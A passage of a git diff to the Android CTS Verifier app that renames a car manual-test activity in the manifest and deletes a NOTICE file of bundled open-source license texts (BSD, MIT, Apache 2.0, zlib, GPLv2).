                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
@@ -5155,17 +5213,16 @@
                        android:value="multi_display_mode" />
         </activity>
 
-        <activity android:name=".car.ParkingBrakeOnTestActivity"
-                android:exported="true"
-                android:label="@string/parking_brake_on_test">
+        <activity android:name=".car.CarLauncherTestActivity"
+                  android:exported="true"
+                  android:label="@string/car_launcher_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_car" />
-            <meta-data
-                android:name="test_required_features"
-                android:value="android.hardware.type.automotive"/>
+            <meta-data android:name="test_required_features"
+                       android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
diff --git a/apps/CtsVerifier/NOTICE.txt b/apps/CtsVerifier/NOTICE.txt
deleted file mode 100644
index 1098191..0000000
--- a/apps/CtsVerifier/NOTICE.txt
+++ /dev/null
@@ -1,21749 +0,0 @@
-======================================================================
-external/jsr305/NOTICE
-
-Copyright (c) 2007-2009, JSR305 expert group
-All rights reserved.
-
-http://www.opensource.org/licenses/bsd-license.php
-
-Redistribution and use in source and binary forms, with or without 
-modification, are permitted provided that the following conditions are met:
-
-    * Redistributions of source code must retain the above copyright notice, 
-      this list of conditions and the following disclaimer.
-    * Redistributions in binary form must reproduce the above copyright notice, 
-      this list of conditions and the following disclaimer in the documentation 
-      and/or other materials provided with the distribution.
-    * Neither the name of the JSR305 expert group nor the names of its 
-      contributors may be used to endorse or promote products derived from 
-      this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, 
-THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
-ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
-LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
-CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 
-SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 
-INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 
-CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 
-ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
-POSSIBILITY OF SUCH DAMAGE.
-
-======================================================================
-external/mockito/LICENSE
-
-The MIT License
-
-Copyright (c) 2007 Mockito contributors
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
-======================================================================
-external/dexmaker/LICENSE
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2016 Apteligent, Inc.
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-======================================================================
-external/tinyxml2/LICENSE
-external/tinyxml2/NOTICE
-
-This software is provided 'as-is', without any express or implied
-warranty. In no event will the authors be held liable for any
-damages arising from the use of this software.
-
-Permission is granted to anyone to use this software for any
-purpose, including commercial applications, and to alter it and
-redistribute it freely, subject to the following restrictions:
-
-1. The origin of this software must not be misrepresented; you must
-not claim that you wrote the original software. If you use this
-software in a product, an acknowledgment in the product documentation
-would be appreciated but is not required.
-
-2. Altered source versions must be plainly marked as such, and
-must not be misrepresented as being the original software.
-
-3. This notice may not be removed or altered from any source
-distribution.
-
-======================================================================
-external/piex/LICENSE
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-======================================================================
-external/selinux/NOTICE
-
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
